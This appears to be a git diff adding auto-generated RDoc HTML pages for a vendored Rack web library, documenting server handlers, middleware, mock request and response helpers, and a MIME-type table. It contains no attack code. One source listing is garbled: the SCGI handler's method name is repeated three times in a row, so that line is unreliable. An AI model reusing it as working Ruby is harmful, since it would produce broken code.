+19:           elsif app.is_a? URLMap
+20:             app.instance_variable_get(:@mapping).each do |(host, path, appl)|
+21:              next if !host.nil? && !options[:Host].nil? && options[:Host] != host
+22:              path = '/'+path unless path[0] == ?/
+23:              server.register(path, Rack::Handler::Mongrel.new(appl))
+24:             end
+25:           else
+26:             raise ArgumentError, "first argument should be a Hash or URLMap"
+27:           end
+28:         else
+29:           server.register('/', Rack::Handler::Mongrel.new(app))
+30:         end
+31:         yield server  if block_given?
+32:         server.run.join
+33:       end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/mongrel.rb, line 39
+39:       def process(request, response)
+40:         env = {}.replace(request.params)
+41:         env.delete "HTTP_CONTENT_TYPE"
+42:         env.delete "HTTP_CONTENT_LENGTH"
+43: 
+44:         env["SCRIPT_NAME"] = ""  if env["SCRIPT_NAME"] == "/"
+45: 
+46:         env.update({"rack.version" => [0,1],
+47:                      "rack.input" => request.body || StringIO.new(""),
+48:                      "rack.errors" => STDERR,
+49: 
+50:                      "rack.multithread" => true,
+51:                      "rack.multiprocess" => false, # ???
+52:                      "rack.run_once" => false,
+53: 
+54:                      "rack.url_scheme" => "http",
+55:                    })
+56:         env["QUERY_STRING"] ||= ""
+57:         env.delete "PATH_INFO"  if env["PATH_INFO"] == ""
+58: 
+59:         status, headers, body = @app.call(env)
+60: 
+61:         begin
+62:           response.status = status.to_i
+63:           response.send_status(nil)
+64: 
+65:           headers.each { |k, vs|
+66:             vs.each { |v|
+67:               response.header[k] = v
+68:             }
+69:           }
+70:           response.send_header
+71: 
+72:           body.each { |part|
+73:             response.write part
+74:             response.socket.flush
+75:           }
+76:         ensure
+77:           body.close  if body.respond_to? :close
+78:         end
+79:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/SCGI.html b/vendor/plugins/rack/doc/classes/Rack/Handler/SCGI.html new file mode 100644 index 00000000..e936dd60 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler/SCGI.html @@ -0,0 +1,244 @@ + + + + + + Class: Rack::Handler::SCGI + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Handler::SCGI
In: + + lib/rack/handler/scgi.rb + +
+
Parent: + ::SCGI::Processor +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ new   + process_request   + run   +
+
+ +
+ + + + +
+ + + + + +
+

Attributes

+ +
+ + + + + + +
app [RW] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/scgi.rb, line 16
+16:       def initialize(settings = {})
+17:         @app = settings[:app]
+18:         @log = Object.new
+19:         def @log.info(*args); end
+20:         def @log.error(*args); end
+21:         super(settings)
+22:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/scgi.rb, line 9
+ 9:       def self.run(app, options=nil)
+10:         new(options.merge(:app=>app,
+11:                           :host=>options[:Host],
+12:                           :port=>options[:Port],
+13:                           :socket=>options[:Socket])).listen
+14:       end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/scgi.rb, line 24
+24:       def   process_requestprocess_requestprocess_request(request, input_body, socket)
+25:         env = {}.replace(request)
+26:         env.delete "HTTP_CONTENT_TYPE"
+27:         env.delete "HTTP_CONTENT_LENGTH"
+28:         env["REQUEST_PATH"], env["QUERY_STRING"] = env["REQUEST_URI"].split('?', 2)
+29:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+30:         env["PATH_INFO"] = env["REQUEST_PATH"]
+31:         env["QUERY_STRING"] ||= ""
+32:         env["SCRIPT_NAME"] = ""
+33:         env.update({"rack.version" => [0,1],
+34:                      "rack.input" => StringIO.new(input_body),
+35:                      "rack.errors" => STDERR,
+36: 
+37:                      "rack.multithread" => true,
+38:                      "rack.multiprocess" => true,
+39:                      "rack.run_once" => false,
+40: 
+41:                      "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
+42:                    })
+43:         status, headers, body = app.call(env)
+44:         begin
+45:           socket.write("Status: #{status}\r\n")
+46:           headers.each do |k, vs|
+47:             vs.each {|v| socket.write("#{k}: #{v}\r\n")}
+48:           end
+49:           socket.write("\r\n")
+50:           body.each {|s| socket.write(s)}
+51:         ensure
+52:           body.close if body.respond_to? :close
+53:         end
+54:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/SwiftipliedMongrel.html b/vendor/plugins/rack/doc/classes/Rack/Handler/SwiftipliedMongrel.html new file mode 100644 index 00000000..757a77f4 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler/SwiftipliedMongrel.html @@ -0,0 +1,111 @@ + + + + + + Class: Rack::Handler::SwiftipliedMongrel + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Handler::SwiftipliedMongrel
In: + + lib/rack/handler/swiftiplied_mongrel.rb + +
+
Parent: + Handler::Mongrel +
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/Thin.html b/vendor/plugins/rack/doc/classes/Rack/Handler/Thin.html new file mode 100644 index 00000000..dad5eeb0 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler/Thin.html @@ -0,0 +1,150 @@ + + + + + + Class: Rack::Handler::Thin + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Handler::Thin
In: + + lib/rack/handler/thin.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ run   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/thin.rb, line 6
+ 6:       def self.run(app, options={})
+ 7:         server = ::Thin::Server.new(options[:Host] || '0.0.0.0',
+ 8:                                     options[:Port] || 8080,
+ 9:                                     app)
+10:         yield server if block_given?
+11:         server.start
+12:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/WEBrick.html b/vendor/plugins/rack/doc/classes/Rack/Handler/WEBrick.html new file mode 100644 index 00000000..1d6e46e2 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Handler/WEBrick.html @@ -0,0 +1,237 @@ + + + + + + Class: Rack::Handler::WEBrick + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Handler::WEBrick
In: + + lib/rack/handler/webrick.rb + +
+
Parent: + ::WEBrick::HTTPServlet::AbstractServlet +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ new   + run   + service   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/webrick.rb, line 15
+15:       def initialize(server, app)
+16:         super server
+17:         @app = app
+18:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/webrick.rb, line 7
+ 7:       def self.run(app, options={})
+ 8:         server = ::WEBrick::HTTPServer.new(options)
+ 9:         server.mount "/", Rack::Handler::WEBrick, app
+10:         trap(:INT) { server.shutdown }
+11:         yield server  if block_given?
+12:         server.start
+13:       end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/handler/webrick.rb, line 20
+20:       def service(req, res)
+21:         env = req.meta_vars
+22:         env.delete_if { |k, v| v.nil? }
+23: 
+24:         env.update({"rack.version" => [0,1],
+25:                      "rack.input" => StringIO.new(req.body.to_s),
+26:                      "rack.errors" => STDERR,
+27: 
+28:                      "rack.multithread" => true,
+29:                      "rack.multiprocess" => false,
+30:                      "rack.run_once" => false,
+31: 
+32:                      "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
+33:                    })
+34: 
+35:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+36:         env["QUERY_STRING"] ||= ""
+37:         env["REQUEST_PATH"] ||= "/"
+38:         env.delete "PATH_INFO"  if env["PATH_INFO"] == ""
+39: 
+40:         status, headers, body = @app.call(env)
+41:         begin
+42:           res.status = status.to_i
+43:           headers.each { |k, vs|
+44:             if k.downcase == "set-cookie"
+45:               res.cookies.concat vs.to_a
+46:             else
+47:               vs.each { |v|
+48:                 res[k] = v
+49:               }
+50:             end
+51:           }
+52:           body.each { |part|
+53:             res.body << part
+54:           }
+55:         ensure
+56:           body.close  if body.respond_to? :close
+57:         end
+58:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Head.html b/vendor/plugins/rack/doc/classes/Rack/Head.html new file mode 100644 index 00000000..2f278505 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Head.html @@ -0,0 +1,178 @@ + + + + + + Class: Rack::Head + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Head
In: + + lib/rack/head.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+   # File lib/rack/head.rb, line 4
+4:   def initialize(app)
+5:     @app = app
+6:   end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/head.rb, line 8
+ 8:   def call(env)
+ 9:     status, headers, body = @app.call(env)
+10: 
+11:     if env["REQUEST_METHOD"] == "HEAD"
+12:       [status, headers, []]
+13:     else
+14:       [status, headers, body]
+15:     end
+16:   end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Lint.html b/vendor/plugins/rack/doc/classes/Rack/Lint.html new file mode 100644 index 00000000..659f9944 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Lint.html @@ -0,0 +1,154 @@ + + + + + + Class: Rack::Lint + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Lint
In: + + lib/rack/lint.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::Lint validates your application and the +requests and responses according to the Rack +spec. +

+ +
+ + +
+ +
+

Methods

+ +
+ new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+   # File lib/rack/lint.rb, line 6
+6:     def initialize(app)
+7:       @app = app
+8:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Lobster.html b/vendor/plugins/rack/doc/classes/Rack/Lobster.html new file mode 100644 index 00000000..f165952d --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Lobster.html @@ -0,0 +1,136 @@ + + + + + + Class: Rack::Lobster + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Lobster
In: + + lib/rack/lobster.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Paste has a Pony, Rack has a Lobster! +

+ +
+ + +
+ + +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + + + + + + +
LobsterString=Zlib::Inflate.inflate("eJx9kEEOwyAMBO99xd7MAcytUhPlJyj2 P6jy9i4k9EQyGAnBarEXeCBqSkntNXsi/ZCvC48zGQoZKikGrFMZvgS5ZHd+aGWVuWwhVF0 t1drVmiR42HcWNz5w3QanT+2gIvTVCiE1lm1Y0eU4JGmIIbaKwextKn8rvW+p5PIwFl8ZWJ I8jyiTlhTcYXkekJAzTyYN6E08A+dk8voBkAVTJQ==".delete("\n ").unpack("m*")[0])
LambdaLobster=lambda { |env| if env["QUERY_STRING"].include?("flip")
+
+
+ + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MethodOverride.html b/vendor/plugins/rack/doc/classes/Rack/MethodOverride.html new file mode 100644 index 00000000..c3f52bc0 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/MethodOverride.html @@ -0,0 +1,206 @@ + + + + + + Class: Rack::MethodOverride + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::MethodOverride
In: + + lib/rack/methodoverride.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + + + + + + + + + + + +
HTTP_METHODS=%w(GET HEAD PUT POST DELETE OPTIONS)
METHOD_OVERRIDE_PARAM_KEY="_method".freeze
HTTP_METHOD_OVERRIDE_HEADER="HTTP_X_HTTP_METHOD_OVERRIDE".freeze
+
+
+ + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/methodoverride.rb, line 8
+ 8:     def initialize(app)
+ 9:       @app = app
+10:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/methodoverride.rb, line 12
+12:     def call(env)
+13:       if env["REQUEST_METHOD"] == "POST"
+14:         req = Request.new(env)
+15:         method = req.POST[METHOD_OVERRIDE_PARAM_KEY] ||
+16:           env[HTTP_METHOD_OVERRIDE_HEADER]
+17:         method = method.to_s.upcase
+18:         if HTTP_METHODS.include?(method)
+19:           env["rack.methodoverride.original_method"] = env["REQUEST_METHOD"]
+20:           env["REQUEST_METHOD"] = method
+21:         end
+22:       end
+23: 
+24:       @app.call(env)
+25:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Mime.html b/vendor/plugins/rack/doc/classes/Rack/Mime.html new file mode 100644 index 00000000..1c6682f4 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Mime.html @@ -0,0 +1,200 @@ + + + + + + Module: Rack::Mime + + + + + + + + + + +
+ + + + + + + + + + +
ModuleRack::Mime
In: + + lib/rack/mime.rb + +
+
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ mime_type   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + + + +
MIME_TYPES={ ".3gp" => "video/3gpp", ".a" => "application/octet-stream", ".ai" => "application/postscript", ".aif" => "audio/x-aiff", ".aiff" => "audio/x-aiff", ".asc" => "application/pgp-signature", ".asf" => "video/x-ms-asf", ".asm" => "text/x-asm", ".asx" => "video/x-ms-asf", ".atom" => "application/atom+xml", ".au" => "audio/basic", ".avi" => "video/x-msvideo", ".bat" => "application/x-msdownload", ".bin" => "application/octet-stream", ".bmp" => "image/bmp", ".bz2" => "application/x-bzip2", ".c" => "text/x-c", ".cab" => "application/vnd.ms-cab-compressed", ".cc" => "text/x-c", ".chm" => "application/vnd.ms-htmlhelp", ".class" => "application/octet-stream", ".com" => "application/x-msdownload", ".conf" => "text/plain", ".cpp" => "text/x-c", ".crt" => "application/x-x509-ca-cert", ".css" => "text/css", ".csv" => "text/csv", ".cxx" => "text/x-c", ".deb" => "application/x-debian-package", ".der" => "application/x-x509-ca-cert", ".diff" => "text/x-diff", ".djv" => "image/vnd.djvu", ".djvu" => "image/vnd.djvu", ".dll" => "application/x-msdownload", ".dmg" => "application/octet-stream", ".doc" => "application/msword", ".dot" => "application/msword", ".dtd" => "application/xml-dtd", ".dvi" => "application/x-dvi", ".ear" => "application/java-archive", ".eml" => "message/rfc822", ".eps" => "application/postscript", ".exe" => "application/x-msdownload", ".f" => "text/x-fortran", ".f77" => "text/x-fortran", ".f90" => "text/x-fortran", ".flv" => "video/x-flv", ".for" => "text/x-fortran", ".gem" => "application/octet-stream", ".gemspec" => "text/x-script.ruby", ".gif" => "image/gif", ".gz" => "application/x-gzip", ".h" => "text/x-c", ".hh" => "text/x-c", ".htm" => "text/html", ".html" => "text/html", ".ico" => "image/vnd.microsoft.icon", ".ics" => "text/calendar", ".ifb" => "text/calendar", ".iso" => "application/octet-stream", ".jar" => "application/java-archive", ".java" => "text/x-java-source", ".jnlp" => "application/x-java-jnlp-file", ".jpeg" => "image/jpeg", ".jpg" => "image/jpeg", ".js" => "application/javascript", ".json" => "application/json", ".log" => "text/plain", ".m3u" => "audio/x-mpegurl", ".m4v" => "video/mp4", ".man" => "text/troff", ".mathml" => "application/mathml+xml", ".mbox" => "application/mbox", ".mdoc" => "text/troff", ".me" => "text/troff", ".mid" => "audio/midi", ".midi" => "audio/midi", ".mime" => "message/rfc822", ".mml" => "application/mathml+xml", ".mng" => "video/x-mng", ".mov" => "video/quicktime", ".mp3" => "audio/mpeg", ".mp4" => "video/mp4", ".mp4v" => "video/mp4", ".mpeg" => "video/mpeg", ".mpg" => "video/mpeg", ".ms" => "text/troff", ".msi" => "application/x-msdownload", ".odp" => "application/vnd.oasis.opendocument.presentation", ".ods" => "application/vnd.oasis.opendocument.spreadsheet", ".odt" => "application/vnd.oasis.opendocument.text", ".ogg" => "application/ogg", ".p" => "text/x-pascal", ".pas" => "text/x-pascal", ".pbm" => "image/x-portable-bitmap", ".pdf" => "application/pdf", ".pem" => "application/x-x509-ca-cert", ".pgm" => "image/x-portable-graymap", ".pgp" => "application/pgp-encrypted", ".pkg" => "application/octet-stream", ".pl" => "text/x-script.perl", ".pm" => "text/x-script.perl-module", ".png" => "image/png", ".pnm" => "image/x-portable-anymap", ".ppm" => "image/x-portable-pixmap", ".pps" => "application/vnd.ms-powerpoint", ".ppt" => "application/vnd.ms-powerpoint", ".ps" => "application/postscript", ".psd" => "image/vnd.adobe.photoshop", ".py" => "text/x-script.python", ".qt" => "video/quicktime", ".ra" => "audio/x-pn-realaudio", ".rake" => "text/x-script.ruby", ".ram" => "audio/x-pn-realaudio", ".rar" => "application/x-rar-compressed", ".rb" => "text/x-script.ruby", ".rdf" => "application/rdf+xml", ".roff" => "text/troff", ".rpm" => "application/x-redhat-package-manager", ".rss" => "application/rss+xml", ".rtf" => "application/rtf", ".ru" => "text/x-script.ruby", ".s" => "text/x-asm", ".sgm" => "text/sgml", ".sgml" => "text/sgml", ".sh" => "application/x-sh", ".sig" => "application/pgp-signature", ".snd" => "audio/basic", ".so" => "application/octet-stream", ".svg" => "image/svg+xml", ".svgz" => "image/svg+xml", ".swf" => "application/x-shockwave-flash", ".t" => "text/troff", ".tar" => "application/x-tar", ".tbz" => "application/x-bzip-compressed-tar", ".tcl" => "application/x-tcl", ".tex" => "application/x-tex", ".texi" => "application/x-texinfo", ".texinfo" => "application/x-texinfo", ".text" => "text/plain", ".tif" => "image/tiff", ".tiff" => "image/tiff", ".torrent" => "application/x-bittorrent", ".tr" => "text/troff", ".txt" => "text/plain", ".vcf" => "text/x-vcard", ".vcs" => "text/x-vcalendar", ".vrml" => "model/vrml", ".war" => "application/java-archive", ".wav" => "audio/x-wav", ".wma" => "audio/x-ms-wma", ".wmv" => "video/x-ms-wmv", ".wmx" => "video/x-ms-wmx", ".wrl" => "model/vrml", ".wsdl" => "application/wsdl+xml", ".xbm" => "image/x-xbitmap", ".xhtml" => "application/xhtml+xml", ".xls" => "application/vnd.ms-excel", ".xml" => "application/xml", ".xpm" => "image/x-xpixmap", ".xsl" => "application/xml", ".xslt" => "application/xslt+xml", ".yaml" => "text/yaml", ".yml" => "text/yaml", ".zip" => "application/zip", }  +List of most common mime-types, selected various sources according to their +usefulness in a webserving scope for Ruby users. + +

+To amend this list with your local mime.types list you can use: +

+
+    require 'webrick/httputils'
+    list = WEBrick::HTTPUtils.load_mime_types('/etc/mime.types')
+    Rack::Utils::MIME_TYPES.merge!(list)
+
+

+To add the list mongrel provides, use: +

+
+    require 'mongrel/handlers'
+    Rack::Utils::MIME_TYPES.merge!(Mongrel::DirHandler::MIME_TYPES)
+
+
+
+
+ + + + + + + +
+

Public Instance methods

+ +
+ + + + +
+

+Returns String with mime type if found, otherwise use fallback. +ext should be filename extension in the ’.ext’ format +that +

+
+      File.extname(file) returns.
+
+

+fallback may be any object +

+

+Also see the documentation for MIME_TYPES +

+

+Usage: +

+
+    Rack::Utils.mime_type('.foo')
+
+

+This is a shortcut for: +

+
+    Rack::Utils::MIME_TYPES.fetch('.foo', 'application/octet-stream')
+
+

[Source]

+
+
+    # File lib/rack/mime.rb, line 16
+16:     def mime_type(ext, fallback='application/octet-stream')
+17:       MIME_TYPES.fetch(ext, fallback)
+18:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MockRequest.html b/vendor/plugins/rack/doc/classes/Rack/MockRequest.html new file mode 100644 index 00000000..b93c51d7 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/MockRequest.html @@ -0,0 +1,375 @@ + + + + + + Class: Rack::MockRequest + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::MockRequest
In: + + lib/rack/mock.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::MockRequest helps testing your Rack application without actually using HTTP. +

+

+After performing a request on a URL +with get/post/put/delete, it returns a MockResponse with useful helper methods for +effective testing. +

+

+You can pass a hash with additional configuration to the +get/post/put/delete. +

+ + + + +
:input:A String or IO-like to be used as rack.input. + +
:fatal:Raise a FatalWarning if the app +writes to rack.errors. + +
:lint:If true, wrap the application in a Rack::Lint. + +
+ +
+ + +
+ +
+

Methods

+ +
+ delete   + env_for   + get   + new   + post   + put   + request   +
+
+ +
+ + + + +
+ +
+

Classes and Modules

+ + Class Rack::MockRequest::FatalWarner
+Class Rack::MockRequest::FatalWarning
+ +
+ +
+

Constants

+ +
+ + + + + + +
DEFAULT_ENV={ "rack.version" => [0,1], "rack.input" => StringIO.new, "rack.errors" => StringIO.new, "rack.multithread" => true, "rack.multiprocess" => true, "rack.run_once" => false, }
+
+
+ + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

+Return the Rack environment used for a request to uri. +

+

[Source]

+
+
+     # File lib/rack/mock.rb, line 74
+ 74:     def self.env_for(uri="", opts={})
+ 75:       uri = URI(uri)
+ 76:       env = DEFAULT_ENV.dup
+ 77: 
+ 78:       env["REQUEST_METHOD"] = opts[:method] || "GET"
+ 79:       env["SERVER_NAME"] = uri.host || "example.org"
+ 80:       env["SERVER_PORT"] = uri.port ? uri.port.to_s : "80"
+ 81:       env["QUERY_STRING"] = uri.query.to_s
+ 82:       env["PATH_INFO"] = (!uri.path || uri.path.empty?) ? "/" : uri.path
+ 83:       env["rack.url_scheme"] = uri.scheme || "http"
+ 84: 
+ 85:       env["SCRIPT_NAME"] = opts[:script_name] || ""
+ 86: 
+ 87:       if opts[:fatal]
+ 88:         env["rack.errors"] = FatalWarner.new
+ 89:       else
+ 90:         env["rack.errors"] = StringIO.new
+ 91:       end
+ 92: 
+ 93:       opts[:input] ||= ""
+ 94:       if String === opts[:input]
+ 95:         env["rack.input"] = StringIO.new(opts[:input])
+ 96:       else
+ 97:         env["rack.input"] = opts[:input]
+ 98:       end
+ 99: 
+100:       opts.each { |field, value|
+101:         env[field] = value  if String === field
+102:       }
+103: 
+104:       env
+105:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 51
+51:     def initialize(app)
+52:       @app = app
+53:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 58
+58:     def delete(uri, opts={}) request("DELETE", uri, opts) end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 55
+55:     def get(uri, opts={})    request("GET", uri, opts)    end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 56
+56:     def post(uri, opts={})   request("POST", uri, opts)   end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 57
+57:     def put(uri, opts={})    request("PUT", uri, opts)    end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 60
+60:     def request(method="GET", uri="", opts={})
+61:       env = self.class.env_for(uri, opts.merge(:method => method))
+62: 
+63:       if opts[:lint]
+64:         app = Rack::Lint.new(@app)
+65:       else
+66:         app = @app
+67:       end
+68: 
+69:       errors = env["rack.errors"]
+70:       MockResponse.new(*(app.call(env) + [errors]))
+71:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarner.html b/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarner.html new file mode 100644 index 00000000..921d912b --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarner.html @@ -0,0 +1,217 @@ + + + + + + Class: Rack::MockRequest::FatalWarner + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::MockRequest::FatalWarner
In: + + lib/rack/mock.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ flush   + puts   + string   + write   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 34
+34:       def flush
+35:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 26
+26:       def puts(warning)
+27:         raise FatalWarning, warning
+28:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 37
+37:       def string
+38:         ""
+39:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/mock.rb, line 30
+30:       def write(warning)
+31:         raise FatalWarning, warning
+32:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarning.html b/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarning.html new file mode 100644 index 00000000..1575ab21 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarning.html @@ -0,0 +1,111 @@ + + + + + + Class: Rack::MockRequest::FatalWarning + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::MockRequest::FatalWarning
In: + + lib/rack/mock.rb + +
+
Parent: + RuntimeError +
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MockResponse.html b/vendor/plugins/rack/doc/classes/Rack/MockResponse.html new file mode 100644 index 00000000..1c5363ec --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/MockResponse.html @@ -0,0 +1,298 @@ + + + + + + Class: Rack::MockResponse + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::MockResponse
In: + + lib/rack/mock.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::MockResponse provides useful helpers +for testing your apps. Usually, you don‘t create the MockResponse on your own, but use MockRequest. +

+ +
+ + +
+ +
+

Methods

+ +
+ =~   + []   + match   + new   +
+
+ +
+ + + +
+

Included Modules

+ + +
+ +
+ + + + + +
+

Attributes

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
body [R]  +Body + +
errors [RW]  +Errors + +
headers [R]  +Headers + +
original_headers [R]  +Headers + +
status [R]  +Status + +
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/mock.rb, line 113
+113:     def initialize(status, headers, body, errors=StringIO.new(""))
+114:       @status = status.to_i
+115: 
+116:       @original_headers = headers
+117:       @headers = Rack::Utils::HeaderHash.new
+118:       headers.each { |field, values|
+119:         values.each { |value|
+120:           @headers[field] = value
+121:         }
+122:         @headers[field] = ""  if values.empty?
+123:       }
+124: 
+125:       @body = ""
+126:       body.each { |part| @body << part }
+127: 
+128:       @errors = errors.string
+129:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/mock.rb, line 145
+145:     def =~(other)
+146:       @body =~ other
+147:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/mock.rb, line 137
+137:     def [](field)
+138:       headers[field]
+139:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/mock.rb, line 149
+149:     def match(other)
+150:       @body.match other
+151:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Recursive.html b/vendor/plugins/rack/doc/classes/Rack/Recursive.html new file mode 100644 index 00000000..d54eef03 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Recursive.html @@ -0,0 +1,218 @@ + + + + + + Class: Rack::Recursive + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Recursive
In: + + lib/rack/recursive.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::Recursive allows applications called +down the chain to include data from +other applications (by using rack[…] or raise a ForwardRequest to redirect internally. +

+ +
+ + +
+ +
+

Methods

+ +
+ call   + include   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/recursive.rb, line 33
+33:     def initialize(app)
+34:       @app = app
+35:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/recursive.rb, line 37
+37:     def call(env)
+38:       @script_name = env["SCRIPT_NAME"]
+39:       @app.call(env.merge('rack.recursive.include' => method(:include)))
+40:     rescue ForwardRequest => req
